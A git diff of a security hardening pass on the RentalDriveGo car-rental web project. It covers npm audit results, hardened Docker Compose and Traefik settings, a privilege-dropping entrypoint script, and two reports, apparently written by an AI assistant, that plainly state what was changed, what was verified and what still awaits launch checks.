+ "next-env.d.ts",
+ "**/*.ts",
+ "**/*.tsx",
+ ".next/types/**/*.ts",
+ ".next/dev/types/**/*.ts"
+ ],
+ "exclude": [
+ "node_modules"
+ ]
}
diff --git a/apps/marketplace/vitest.config.ts b/apps/marketplace/vitest.config.ts
new file mode 100644
index 0000000..474502a
--- /dev/null
+++ b/apps/marketplace/vitest.config.ts
@@ -0,0 +1,17 @@
+import { fileURLToPath } from 'node:url'
+import { defineConfig } from 'vitest/config'
+
+export default defineConfig({
+ resolve: {
+ alias: {
+ '@': fileURLToPath(new URL('./src', import.meta.url)),
+ },
+ },
+ test: {
+ environment: 'node',
+ globals: true,
+ include: ['src/**/*.test.ts'],
+ clearMocks: true,
+ restoreMocks: true,
+ },
+})
diff --git a/audit-production.json b/audit-production.json
new file mode 100644
index 0000000..227461e
--- /dev/null
+++ b/audit-production.json
@@ -0,0 +1,276 @@
+{
+ "auditReportVersion": 2,
+ "vulnerabilities": {
+ "@google-cloud/firestore": {
+ "name": "@google-cloud/firestore",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "google-gax"
+ ],
+ "effects": [
+ "firebase-admin"
+ ],
+ "range": "7.5.0-pre.0 || 7.6.0 - 7.11.6",
+ "nodes": [
+ "node_modules/@google-cloud/firestore"
+ ],
+ "fixAvailable": {
+ "name": "firebase-admin",
+ "version": "14.0.0",
+ "isSemVerMajor": true
+ }
+ },
+ "@google-cloud/storage": {
+ "name": "@google-cloud/storage",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "retry-request",
+ "teeny-request"
+ ],
+ "effects": [
+ "firebase-admin"
+ ],
+ "range": "2.2.0 - 2.5.0 || >=5.19.0",
+ "nodes": [
+ "node_modules/@google-cloud/storage"
+ ],
+ "fixAvailable": {
+ "name": "firebase-admin",
+ "version": "14.0.0",
+ "isSemVerMajor": true
+ }
+ },
+ "firebase-admin": {
+ "name": "firebase-admin",
+ "severity": "moderate",
+ "isDirect": true,
+ "via": [
+ "@google-cloud/firestore",
+ "@google-cloud/storage",
+ "uuid"
+ ],
+ "effects": [],
+ "range": "7.0.0 - 8.2.0 || >=10.2.0",
+ "nodes": [
+ "node_modules/firebase-admin"
+ ],
+ "fixAvailable": {
+ "name": "firebase-admin",
+ "version": "14.0.0",
+ "isSemVerMajor": true
+ }
+ },
+ "gaxios": {
+ "name": "gaxios",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "uuid"
+ ],
+ "effects": [],
+ "range": "6.4.0 - 6.7.1",
+ "nodes": [
+ "node_modules/gaxios"
+ ],
+ "fixAvailable": true
+ },
+ "google-gax": {
+ "name": "google-gax",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "retry-request",
+ "uuid"
+ ],
+ "effects": [
+ "@google-cloud/firestore"
+ ],
+ "range": "4.0.5-experimental - 4.6.1",
+ "nodes": [
+ "node_modules/google-gax"
+ ],
+ "fixAvailable": {
+ "name": "firebase-admin",
+ "version": "14.0.0",
+ "isSemVerMajor": true
+ }
+ },
+ "next": {
+ "name": "next",
+ "severity": "moderate",
+ "isDirect": true,
+ "via": [
+ "postcss"
+ ],
+ "effects": [],
+ "range": "9.3.4-canary.0 - 16.3.0-canary.5",
+ "nodes": [
+ "node_modules/next"
+ ],
+ "fixAvailable": {
+ "name": "next",
+ "version": "9.3.3",
+ "isSemVerMajor": true
+ }
+ },
+ "node-cron": {
+ "name": "node-cron",
+ "severity": "moderate",
+ "isDirect": true,
+ "via": [
+ "uuid"
+ ],
+ "effects": [],
+ "range": "3.0.2 - 3.0.3",
+ "nodes": [
+ "node_modules/node-cron"
+ ],
+ "fixAvailable": {
+ "name": "node-cron",
+ "version": "4.2.1",
+ "isSemVerMajor": true
+ }
+ },
+ "postcss": {
+ "name": "postcss",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1117015,
+ "name": "postcss",
+ "dependency": "postcss",
+ "title": "PostCSS has XSS via Unescaped in its CSS Stringify Output",
+ "url": "https://github.com/advisories/GHSA-qx2v-qp2m-jg93",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-79"
+ ],
+ "cvss": {
+ "score": 6.1,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ },
+ "range": "<8.5.10"
+ }
+ ],
+ "effects": [
+ "next"
+ ],
+ "range": "<8.5.10",
+ "nodes": [
+ "node_modules/next/node_modules/postcss"
+ ],
+ "fixAvailable": {
+ "name": "next",
+ "version": "9.3.3",
+ "isSemVerMajor": true
+ }
+ },
+ "retry-request": {
+ "name": "retry-request",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "teeny-request"
+ ],
+ "effects": [
+ "@google-cloud/storage",
+ "google-gax"
+ ],
+ "range": "7.0.0 - 7.0.2",
+ "nodes": [
+ "node_modules/retry-request"
+ ],
+ "fixAvailable": {
+ "name": "firebase-admin",
+ "version": "14.0.0",
+ "isSemVerMajor": true
+ }
+ },
+ "teeny-request": {
+ "name": "teeny-request",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "uuid"
+ ],
+ "effects": [
+ "@google-cloud/storage",
+ "retry-request"
+ ],
+ "range": "3.9.1 - 9.0.0",
+ "nodes": [
+ "node_modules/teeny-request"
+ ],
+ "fixAvailable": {
+ "name": "firebase-admin",
+ "version": "14.0.0",
+ "isSemVerMajor": true
+ }
+ },
+ "uuid": {
+ "name": "uuid",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1119441,
+ "name": "uuid",
+ "dependency": "uuid",
+ "title": "uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided",
+ "url": "https://github.com/advisories/GHSA-w5hq-g745-h8pq",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-787",
+ "CWE-1285"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
+ },
+ "range": "<11.1.1"
+ }
+ ],
+ "effects": [
+ "firebase-admin",
+ "gaxios",
+ "google-gax",
+ "node-cron",
+ "teeny-request"
+ ],
+ "range": "<11.1.1",
+ "nodes": [
+ "node_modules/gaxios/node_modules/uuid",
+ "node_modules/google-gax/node_modules/uuid",
+ "node_modules/node-cron/node_modules/uuid",
+ "node_modules/teeny-request/node_modules/uuid",
+ "node_modules/uuid"
+ ],
+ "fixAvailable": {
+ "name": "node-cron",
+ "version": "4.2.1",
+ "isSemVerMajor": true
+ }
+ }
+ },
+ "metadata": {
+ "vulnerabilities": {
+ "info": 0,
+ "low": 0,
+ "moderate": 11,
+ "high": 0,
+ "critical": 0,
+ "total": 11
+ },
+ "dependencies": {
+ "prod": 505,
+ "dev": 250,
+ "optional": 164,
+ "peer": 1,
+ "peerOptional": 0,
+ "total": 863
+ }
+ }
+}
diff --git a/audit-production.txt b/audit-production.txt
new file mode 100644
index 0000000..0428bc7
--- /dev/null
+++ b/audit-production.txt
@@ -0,0 +1,58 @@
+# npm audit report
+
+postcss <8.5.10
+Severity: moderate
+PostCSS has XSS via Unescaped in its CSS Stringify Output - https://github.com/advisories/GHSA-qx2v-qp2m-jg93
+fix available via `npm audit fix --force`
+Will install next@9.3.3, which is a breaking change
+node_modules/next/node_modules/postcss
+ next 9.3.4-canary.0 - 16.3.0-canary.5
+ Depends on vulnerable versions of postcss
+ node_modules/next
+
+uuid <11.1.1
+Severity: moderate
+uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided - https://github.com/advisories/GHSA-w5hq-g745-h8pq
+fix available via `npm audit fix --force`
+Will install node-cron@4.2.1, which is a breaking change
+node_modules/gaxios/node_modules/uuid
+node_modules/google-gax/node_modules/uuid
+node_modules/node-cron/node_modules/uuid
+node_modules/teeny-request/node_modules/uuid
+node_modules/uuid
+ firebase-admin 7.0.0 - 8.2.0 || >=10.2.0
+ Depends on vulnerable versions of @google-cloud/firestore
+ Depends on vulnerable versions of @google-cloud/storage
+ Depends on vulnerable versions of uuid
+ node_modules/firebase-admin
+ gaxios 6.4.0 - 6.7.1
+ Depends on vulnerable versions of uuid
+ node_modules/gaxios
+ google-gax 4.0.5-experimental - 4.6.1
+ Depends on vulnerable versions of retry-request
+ Depends on vulnerable versions of uuid
+ node_modules/google-gax
+ @google-cloud/firestore 7.5.0-pre.0 || 7.6.0 - 7.11.6
+ Depends on vulnerable versions of google-gax
+ node_modules/@google-cloud/firestore
+ node-cron 3.0.2 - 3.0.3
+ Depends on vulnerable versions of uuid
+ node_modules/node-cron
+ teeny-request 3.9.1 - 9.0.0
+ Depends on vulnerable versions of uuid
+ node_modules/teeny-request
+ @google-cloud/storage 2.2.0 - 2.5.0 || >=5.19.0
+ Depends on vulnerable versions of retry-request
+ Depends on vulnerable versions of teeny-request
+ node_modules/@google-cloud/storage
+ retry-request 7.0.0 - 7.0.2
+ Depends on vulnerable versions of teeny-request
+ node_modules/retry-request
+
+11 moderate severity vulnerabilities
+
+To address issues that do not require attention, run:
+ npm audit fix
+
+To address all issues (including breaking changes), run:
+ npm audit fix --force
diff --git a/docker-compose.production.yml b/docker-compose.production.yml
index f7db651..54be552 100644
--- a/docker-compose.production.yml
+++ b/docker-compose.production.yml
@@ -1,5 +1,12 @@
name: rentaldrivego-prod
+x-node-runtime-hardening: &node-runtime-hardening
+ init: true
+ security_opt:
+ - no-new-privileges:true
+ tmpfs:
+ - /tmp:size=64m,mode=1777
+
services:
postgres:
image: postgres:16-alpine
@@ -9,7 +16,7 @@ services:
environment:
POSTGRES_DB: rentaldrivego
POSTGRES_USER: postgres
- POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-change-me}
+ POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:?POSTGRES_PASSWORD must be set}
healthcheck:
test: ["CMD-SHELL", "pg_isready -U postgres -d rentaldrivego"]
interval: 5s
@@ -23,10 +30,22 @@ services:
restart: unless-stopped
networks:
- internal
+ environment:
+ REDIS_PASSWORD: ${REDIS_PASSWORD:?REDIS_PASSWORD must be set}
+ command: >
+ sh -ec 'exec redis-server --appendonly yes --requirepass "$${REDIS_PASSWORD}" --maxmemory "$${REDIS_MAXMEMORY:-256mb}" --maxmemory-policy allkeys-lru'
+ healthcheck:
+ test: ["CMD-SHELL", 'redis-cli -a "$${REDIS_PASSWORD}" ping | grep PONG']
+ interval: 10s
+ timeout: 5s
+ retries: 10
volumes:
- redis_prod_data:/data
migrate:
+ <<: *node-runtime-hardening
+ cap_drop:
+ - ALL
image: ${APP_IMAGE:-rentaldrivego-prod-app}:${APP_VERSION:-latest}
build:
context: .
@@ -56,6 +75,7 @@ services:
restart: "no"
api:
+ <<: *node-runtime-hardening
image: ${APP_IMAGE:-rentaldrivego-prod-app}:${APP_VERSION:-latest}
build:
context: .
@@ -82,7 +102,7 @@ services:
postgres:
condition: service_healthy
redis:
- condition: service_started
+ condition: service_healthy
env_file:
- .env.docker.production
environment:
@@ -97,13 +117,23 @@ services:
restart: unless-stopped
labels:
- traefik.enable=true
- - traefik.http.routers.api.rule=Host(`${API_DOMAIN}`)
+ - traefik.http.routers.api.rule=Host(`${API_DOMAIN}`) && !HeadersRegexp(`x-middleware-subrequest`, `.+`)
- traefik.http.routers.api.entrypoints=websecure
- traefik.http.routers.api.tls=true
- traefik.http.routers.api.tls.certresolver=letsencrypt
- traefik.http.services.api.loadbalancer.server.port=4000
+ - traefik.http.routers.api.middlewares=rdg-security-headers@docker
+ - traefik.http.middlewares.rdg-security-headers.headers.stsSeconds=31536000
+ - traefik.http.middlewares.rdg-security-headers.headers.stsIncludeSubdomains=true
+ - traefik.http.middlewares.rdg-security-headers.headers.contentTypeNosniff=true
+ - traefik.http.middlewares.rdg-security-headers.headers.frameDeny=true
+ - traefik.http.middlewares.rdg-security-headers.headers.referrerPolicy=strict-origin-when-cross-origin
+ - traefik.http.middlewares.rdg-security-headers.headers.permissionsPolicy=camera=(), microphone=(), geolocation=()
marketplace:
+ <<: *node-runtime-hardening
+ cap_drop:
+ - ALL
image: ${APP_IMAGE:-rentaldrivego-prod-app}:${APP_VERSION:-latest}
build:
context: .
@@ -134,15 +164,19 @@ services:
restart: unless-stopped
labels:
- traefik.enable=true
- - traefik.http.routers.marketplace.rule=Host(`${PUBLIC_SITE_DOMAIN}`) || Host(`www.${PUBLIC_SITE_DOMAIN}`)
+ - traefik.http.routers.marketplace.rule=(Host(`${PUBLIC_SITE_DOMAIN}`) || Host(`www.${PUBLIC_SITE_DOMAIN}`)) && !HeadersRegexp(`x-middleware-subrequest`, `.+`)
- traefik.http.routers.marketplace.entrypoints=websecure
- traefik.http.routers.marketplace.tls=true
- traefik.http.routers.marketplace.tls.certresolver=letsencrypt
- traefik.http.routers.marketplace.service=marketplace-svc
- traefik.http.routers.marketplace.priority=10
- traefik.http.services.marketplace-svc.loadbalancer.server.port=3000
+ - traefik.http.routers.marketplace.middlewares=rdg-security-headers@docker
dashboard:
+ <<: *node-runtime-hardening
+ cap_drop:
+ - ALL
image: ${APP_IMAGE:-rentaldrivego-prod-app}:${APP_VERSION:-latest}
build:
context: .
@@ -173,15 +207,19 @@ services:
restart: unless-stopped
labels:
- traefik.enable=true
- - traefik.http.routers.dashboard.rule=(Host(`${PUBLIC_SITE_DOMAIN}`) || Host(`www.${PUBLIC_SITE_DOMAIN}`)) && PathPrefix(`/dashboard`)
+ - traefik.http.routers.dashboard.rule=(Host(`${PUBLIC_SITE_DOMAIN}`) || Host(`www.${PUBLIC_SITE_DOMAIN}`)) && PathPrefix(`/dashboard`) && !HeadersRegexp(`x-middleware-subrequest`, `.+`)
- traefik.http.routers.dashboard.entrypoints=websecure
- traefik.http.routers.dashboard.tls=true
- traefik.http.routers.dashboard.tls.certresolver=letsencrypt
- traefik.http.routers.dashboard.service=dashboard-svc
- traefik.http.routers.dashboard.priority=20
- traefik.http.services.dashboard-svc.loadbalancer.server.port=3001
+ - traefik.http.routers.dashboard.middlewares=rdg-security-headers@docker
admin:
+ <<: *node-runtime-hardening
+ cap_drop:
+ - ALL
image: ${APP_IMAGE:-rentaldrivego-prod-app}:${APP_VERSION:-latest}
build:
context: .
@@ -212,39 +250,34 @@ services:
restart: unless-stopped
labels:
- traefik.enable=true
- - traefik.http.routers.admin.rule=(Host(`${PUBLIC_SITE_DOMAIN}`) || Host(`www.${PUBLIC_SITE_DOMAIN}`)) && PathPrefix(`/admin`)
+ - traefik.http.routers.admin.rule=(Host(`${PUBLIC_SITE_DOMAIN}`) || Host(`www.${PUBLIC_SITE_DOMAIN}`)) && PathPrefix(`/admin`) && !HeadersRegexp(`x-middleware-subrequest`, `.+`)
- traefik.http.routers.admin.entrypoints=websecure
- traefik.http.routers.admin.tls=true
- traefik.http.routers.admin.tls.certresolver=letsencrypt
- traefik.http.routers.admin.service=admin-svc
- traefik.http.routers.admin.priority=20
- traefik.http.services.admin-svc.loadbalancer.server.port=3002
+ - traefik.http.routers.admin.middlewares=rdg-security-headers@docker
pgmanage:
image: cmdpromptinc/pgmanage-enterprise:latest
+ profiles:
+ - private-tools
restart: unless-stopped
- user: "0:0"
networks:
- internal
- - traefik-proxy
depends_on:
postgres:
condition: service_healthy
environment:
PGMANAGE_LISTEN_PORT: "8000"
- PGMANAGE_DEFAULT_USERNAME: ${PGMANAGE_DEFAULT_USERNAME:-admin}
- PGMANAGE_DEFAULT_PASSWORD: ${PGMANAGE_DEFAULT_PASSWORD:-admin}
+ PGMANAGE_DEFAULT_USERNAME: ${PGMANAGE_DEFAULT_USERNAME:-}
+ PGMANAGE_DEFAULT_PASSWORD: ${PGMANAGE_DEFAULT_PASSWORD:-}
PGMANAGE_LICENSE_KEY: ${PGMANAGE_LICENSE_KEY:-}
PGMANAGE_SECURE_COOKIES: ${PGMANAGE_SECURE_COOKIES:-True}
volumes:
- pgmanage_prod_data:/appdata
- ./docker/pgmanage/override.py:/appdata/override.py:ro
- labels:
- - traefik.enable=true
- - traefik.http.routers.pgmanage.rule=Host(`${PGMANAGE_DOMAIN}`)
- - traefik.http.routers.pgmanage.entrypoints=websecure
- - traefik.http.routers.pgmanage.tls.certresolver=letsencrypt
- - traefik.http.services.pgmanage.loadbalancer.server.port=8000
networks:
internal:
diff --git a/docker/entrypoint.production.sh b/docker/entrypoint.production.sh
new file mode 100755
index 0000000..53865d6
--- /dev/null
+++ b/docker/entrypoint.production.sh
@@ -0,0 +1,13 @@
+#!/usr/bin/env sh
+set -eu
+
+# Start as root only long enough to prepare writable runtime mounts, then drop
+# to the unprivileged app user before running Node/NPM. If chown is blocked by
+# a hardened runtime, continue and let the app fail loudly on write attempts.
+if [ "$(id -u)" = "0" ]; then
+ mkdir -p /var/lib/rentaldrivego/storage/public /var/lib/rentaldrivego/storage/private /tmp/rentaldrivego
+ chown -R app:app /var/lib/rentaldrivego /tmp/rentaldrivego 2>/dev/null || true
+ exec su app -s /bin/sh -c 'exec "$@"' -- "$@"
+fi
+
+exec "$@"
diff --git a/docker/scripts/npm b/docker/scripts/npm
old mode 100755
new mode 100644
diff --git a/docs/SECURITY_HARDENING_APPLIED_REPORT.md b/docs/SECURITY_HARDENING_APPLIED_REPORT.md
new file mode 100644
index 0000000..89a56e9
--- /dev/null
+++ b/docs/SECURITY_HARDENING_APPLIED_REPORT.md
@@ -0,0 +1,160 @@
+# Security Hardening Application Report
+
+Generated: 2026-06-09
+Project: RentalDriveGo / Car Management System
+Input archive: `/mnt/data/car_management_system_plan_applied(1).zip`
+Plan applied: `/mnt/data/SECURITY_HARDENING_IMPLEMENTATION_PLAN(1).md`
+
+## Executive result
+
+The uploaded project was inspected and the security hardening plan was applied as far as safely possible inside the source archive. The archive already contained a broad previous hardening pass. I did not blindly trust that state, because that is how software becomes an expensive apology letter. I re-audited the implementation against the plan and applied additional corrections where the code still contradicted the target security model.
+
+The final output includes a patched project archive, this report, a changed-file list, and an incremental diff for the additional changes made during this pass.
+
+## What was already present in the uploaded project
+
+The project already contained many of the plan-aligned building blocks:
+
+- Centralized JWT helpers for actor tokens.
+- HttpOnly session cookie helpers for admin, employee, and renter sessions.
+- Company authorization policy helpers.
+- Admin 2FA and fresh-2FA enforcement middleware.
+- Public booking access-token helpers.
+- Webhook idempotency helpers.
+- Hashed `CompanyApiKey` model and migration.
+- `ReservationPublicAccess` model and migration.
+- `WebhookEvent` model and migration.
+- Upload validation helpers and public/private storage separation.
+- Request ID and sanitized error response middleware.
+- Production Docker/Traefik hardening, including Redis authentication and `x-middleware-subrequest` blocking.
+- Static security scan script and CI security gates.
+
+That base work was useful, but it had a few security and test-consistency gaps.
+
+## Additional changes applied in this pass
+
+### 1. Removed legacy plaintext company API key storage
+
+The plan requires company API keys to be hash-only. The code had introduced `CompanyApiKey`, but the legacy `Company.apiKey` field still existed in the Prisma schema and middleware still allowed a fallback lookup against that plaintext field when `ALLOW_LEGACY_COMPANY_API_KEYS=true`.
+
+Changes applied:
+
+- Removed `Company.apiKey` from `packages/database/prisma/schema.prisma`.
+- Removed `apiKey` from the local `Company` TypeScript interface in `packages/database/src/index.ts` and `packages/database/src/index.d.ts`.
+- Removed the legacy plaintext fallback path from `apps/api/src/middleware/requireApiKey.ts`.
+- Added migration `20260609233000_drop_legacy_company_api_key` to drop the old column and unique index.
+- Rewrote `requireApiKey` tests around prefix lookup, hash comparison, revocation, and `lastUsedAt` updates.
+
+Security effect: raw company API keys are no longer accepted through the legacy company column and are no longer represented in the current Prisma schema.
+
+### 2. Centralized Socket.io token verification
+
+The main API process still verified Socket.io auth tokens directly with `jwt.verify(token, JWT_SECRET)` and did not enforce issuer, audience, actor type, or allowed algorithm. This contradicted the session-authentication phase of the plan.
+
+Changes applied:
+
+- Added `verifyAnyActorToken()` to `apps/api/src/security/tokens.ts`.
+- Updated `apps/api/src/index.ts` to use centralized actor-token verification for Socket.io authentication.
+- Removed the direct `jsonwebtoken` import from the main API entrypoint.
+
+Security effect: Socket.io no longer accepts tokens that bypass the centralized actor-token constraints.
+
+### 3. Hardened employee password-reset JWT verification
+
+Employee password-reset tokens were signed and verified directly with the JWT secret and no issuer, audience, or algorithm constraints.
+
+Changes applied:
+
+- Added explicit `HS256` signing for employee password-reset tokens.
+- Added issuer `rentaldrivego-api`.
+- Added audience `employee_password_reset`.
+- Added matching verification constraints.
+
+Security effect: reset tokens now reject wrong issuer, wrong audience, or wrong algorithm instead of relying on a bare shared-secret verification.
+
+### 4. Repaired test fixtures and middleware tests
+
+Some tests still expected pre-hardening behavior. That is a bad smell: tests defending old weaknesses are basically tiny lobbyists for future incidents.
+
+Changes applied:
+
+- Updated API-key middleware tests to validate hashed-key behavior instead of plaintext `Company.apiKey` lookup.
+- Updated auth middleware tests to match the centralized token verifier behavior.
+- Updated integration test helper token generation to use `signActorToken()` so generated test tokens include issuer and audience.
+
+Security effect: future test runs are less likely to push developers back toward weaker auth behavior.
+
+## Verification performed in this sandbox
+
+| Check | Result | Notes |
+|---|---:|---|
+| Static security scan | PASS | `npm run security:static` completed successfully. |
+| Critical production dependency audit | PASS | `npm audit --package-lock-only --omit=dev --audit-level=critical` exited successfully. |
+| JSON syntax check | PASS | Root and app `package.json` files and lockfile parsed successfully. |
+| Shell syntax check | PASS | Shell scripts and production entrypoint parsed with `bash -n`. |
+| YAML parse check | PASS | `docker-compose.production.yml` and `.gitlab-ci.yml` parsed successfully. |
+| Node script syntax | PASS | `scripts/security-static-check.mjs` passed `node --check`. |
+| Full dependency install | NOT COMPLETED | `npm ci --ignore-scripts --prefer-offline` could not complete in this sandbox. |
+| Full type-check/test/build | NOT RUN | Requires dependencies to be installed. Run in CI or a normal development environment. |
+| Docker compose config/render | NOT RUN | Docker is unavailable in this sandbox. |
+| Prisma generate/migrate | NOT RUN | Requires dependency installation and a normal Prisma/DB environment. |
+
+## Dependency audit note
+
+The critical audit gate passes. The audit still reports moderate findings involving `postcss` through Next.js and `uuid` through Firebase/cron-related dependency chains. The lockfile’s suggested fixes require forced or breaking upgrades, so I did not casually smash the dependency graph with a hammer and call the mess “security.” Those should be handled in a controlled dependency-upgrade ticket with full frontend and notification regression testing.
+
+## Files changed by this pass
+
+- `apps/api/src/index.ts`
+- `apps/api/src/middleware/requireApiKey.ts`
+- `apps/api/src/middleware/requireApiKey.test.ts`
+- `apps/api/src/middleware/requireCompanyAuth.test.ts`
+- `apps/api/src/middleware/requireRenterAuth.test.ts`
+- `apps/api/src/modules/auth/auth.employee.service.ts`
+- `apps/api/src/security/tokens.ts`
+- `apps/api/src/tests/helpers/fixtures.ts`
+- `packages/database/prisma/schema.prisma`
+- `packages/database/prisma/migrations/20260609233000_drop_legacy_company_api_key/migration.sql`
+- `packages/database/src/index.ts`
+- `packages/database/src/index.d.ts`
+
+See also:
+
+- `security_hardening_incremental.diff`
+- `security_hardening_changed_files.txt`
+
+## Phase status against the hardening plan
+
+| Phase | Status | Evidence / caveat |
+|---|---:|---|
+| Phase 0: Emergency stabilization | Partial / needs operator action | Static scan passes, placeholders are present, but real production secret rotation cannot be performed inside the archive. |
+| Phase 1: Sessions and authentication | Substantially applied | HttpOnly session helpers and centralized actor JWT verification exist; Socket.io and reset-token gaps were corrected in this pass. |
+| Phase 2: Authorization and tenant isolation | Substantially applied | Company policy middleware exists; tenant-safe patterns are present in many modules. Full proof requires test suite and code review across all repository methods. |
+| Phase 3: Public booking privacy | Applied at source level | Public access token model/helper and safe public booking flow are present. Must be verified with integration tests. |
+| Phase 4: Admin hardening | Applied at source level | Mandatory 2FA and fresh-2FA middleware are present. Enrollment and recovery-code workflows still need production validation. |
+| Phase 5: API key hardening | Strengthened in this pass | Legacy plaintext company API key storage/fallback removed; hash-only `CompanyApiKey` path remains. |
+| Phase 6: Payments and webhooks | Applied at source level | Raw-body webhook handling and idempotency helpers are present. Must be verified against provider test events. |
+| Phase 7: Upload and storage hardening | Applied at source level | Magic-byte validation and public/private storage split are present. Must be verified with upload abuse tests. |
+| Phase 8: Rate limiting, errors, browser security | Applied at source level | Request IDs, sanitized errors, rate limit middleware, and security headers are present. Must be verified in deployed environment. |
+| Phase 9: Deployment hardening | Applied at config level | Redis auth, non-public DB tooling, private networks, and Traefik header blocking are present. Must be verified on the real host. |
+| Phase 10: Observability, auditability, jobs | Partial | Logging/audit hooks exist, but queue migration and operational observability need dedicated validation. |
+| CI/CD security gates | Applied at config level | Security scan and critical audit gates exist; full CI must run outside this sandbox. |
+
+## Required follow-up before launch
+
+1. Rotate all real production secrets and invalidate old sessions/API keys where appropriate.
+2. Run `npm ci` in CI or a normal development environment.
+3. Run `npm run db:generate` and apply the new migration after backup.
+4. Run full type-check, unit tests, integration tests, e2e tests, and builds.
+5. Run payment-provider webhook test events using real sandbox provider signatures.
+6. Verify public/private storage behavior with real uploaded files.
+7. Verify Redis and PostgreSQL are not externally reachable from the production host.
+8. Run container image build and Trivy scan.
+9. Confirm admin 2FA enrollment and fresh-2FA gates before enabling privileged admin actions in production.
+10. Document any deferrals with owner, risk acceptance, compensating control, deadline, and ticket number.
+
+## Launch recommendation
+
+Do not launch publicly yet based only on the patched archive. The source now better matches the plan, and the critical static/audit checks pass, but the hard launch gate still depends on full CI, Prisma migration validation, deployment verification, and production secret rotation.
+
+The patched archive is suitable for the next CI/staging pass. Treat it as implementation-ready source, not production clearance. Production clearance comes from reproducible evidence, not vibes in a ZIP file.
diff --git a/docs/SECURITY_HARDENING_LEFTOVER_APPLIED_REPORT.md b/docs/SECURITY_HARDENING_LEFTOVER_APPLIED_REPORT.md
new file mode 100644
index 0000000..f641a28
--- /dev/null
+++ b/docs/SECURITY_HARDENING_LEFTOVER_APPLIED_REPORT.md
@@ -0,0 +1,255 @@
+# Security Hardening Leftover Application Report
+
+Project: RentalDriveGo / Car Management System
+Input archive: `car_management_system_hardened_applied.zip`
+Output archive: `car_management_system_leftover_applied.zip`
+Date: 2026-06-09
+
+## Executive Summary
+
+This pass applied the remaining source-level hardening gaps that were still practical to implement directly in the repository after the first hardening pass. The focus was on eliminating browser-readable authentication assumptions, enforcing app-layer blocking for the `x-middleware-subrequest` bypass class, improving actor-aware rate limiting, adding an admin 2FA recovery-code workflow, and bringing documentation/static checks into line with the hardened authentication model.
+
+This does not replace production operator work such as real secret rotation, live infrastructure verification, container scanning, applying migrations to a real database, or running the complete CI/test pipeline. Those items remain launch-gate evidence requirements.
+
+## Applied Changes
+
+### 1. Removed remaining browser-side employee token assumptions
+
+Changed files:
+
+- `apps/dashboard/src/lib/api.ts`
+- `apps/dashboard/src/components/layout/TopBar.tsx`
+- `apps/dashboard/src/components/layout/Sidebar.tsx`
+- `apps/dashboard/src/app/(dashboard)/team/page.tsx`
+- `apps/dashboard/src/app/sign-in/[[...sign-in]]/SignInPageClient.tsx`
+
+What changed:
+
+- Removed dashboard use of employee auth tokens from `localStorage`.
+- Dashboard API calls now use `credentials: 'include'` and depend on HttpOnly cookies.
+- Dashboard Socket.io connection now uses cookie credentials instead of script-provided auth tokens.
+- Team page no longer decodes employee identity from a localStorage JWT. It resolves the current actor through `/auth/employee/me`.
+- Admin 2FA sign-in form now accepts either a six-digit TOTP code or a recovery code value.
+
+Security effect:
+
+- Reduces script-readable authentication exposure.
+- Aligns the dashboard with the intended HttpOnly session-cookie model.
+- Prevents UI code from treating a readable JWT as the authority for employee identity.
+
+### 2. Added Socket.io HttpOnly-cookie session support
+
+Changed file:
+
+- `apps/api/src/index.ts`
+
+What changed:
+
+- Added Socket.io session-token extraction from HttpOnly cookies.
+- Preserved explicit token verification for trusted non-browser/server contexts, while browser clients can now authenticate through cookies.
+- Reused centralized actor-token verification.
+
+Security effect:
+
+- Real-time dashboard connections no longer require JavaScript-readable employee tokens.
+- Socket authentication now follows the same actor-token validation path used elsewhere.
+
+### 3. Added app-layer `x-middleware-subrequest` blocking
+
+Changed files:
+
+- `apps/api/src/app.ts`
+- `apps/dashboard/src/middleware.ts`
+- `apps/marketplace/src/middleware.ts`
+- `apps/admin/src/middleware.ts`
+- `apps/dashboard/src/middleware.test.ts`
+- `apps/marketplace/src/middleware.test.ts`
+
+What changed:
+
+- API now rejects requests containing `x-middleware-subrequest` before route handling.
+- Dashboard, marketplace, and admin Next middleware now reject the same header at the app layer.
+- Added/updated middleware tests for the rejection path.
+
+Security effect:
+
+- Adds defense in depth beyond reverse-proxy filtering.
+- Prevents the project from depending on a single infrastructure control for this bypass class.
+
+### 4. Hardened admin/browser fetch behavior
+
+Changed files include:
+
+- `apps/admin/src/lib/api.ts`
+- `apps/admin/src/app/dashboard/admin-users/page.tsx`
+- `apps/admin/src/app/dashboard/renters/page.tsx`
+- `apps/admin/src/app/dashboard/companies/[id]/page.tsx`
+- `apps/admin/src/app/dashboard/containers/page.tsx`
+- `apps/admin/src/app/dashboard/pricing/page.tsx`
+- `apps/admin/src/app/forgot-password/page.tsx`
+- `apps/admin/src/app/reset-password/page.tsx`
+
+What changed:
+
+- Admin API wrapper uses `credentials: 'include'`.
+- Manual admin fetch calls now include credentials where they directly call the admin API.
+- Removed dead placeholder `getToken()` helpers that returned empty strings and created meaningless `Authorization: Bearer ` headers.
+
+Security effect:
+
+- Admin browser requests now consistently rely on the HttpOnly admin session cookie.
+- Removes misleading bearer-token scaffolding from the admin UI.
+
+### 5. Improved actor-aware rate limiting
+
+Changed files:
+
+- `apps/api/src/middleware/rateLimiter.ts`
+- `apps/api/src/app.ts`
+
+What changed:
+
+- API rate-limit keys now prefer a verified actor identity from session cookies or valid Bearer tokens.
+- Actor-aware rate limiting falls back safely to existing request actor fields or anonymous IP keys.
+- Admin authentication routes now receive the stricter authentication limiter before the broader admin limiter.
+
+Security effect:
+
+- Authenticated traffic is limited by actor identity instead of only coarse IP data.
+- Login and admin-auth abuse get stricter protection.
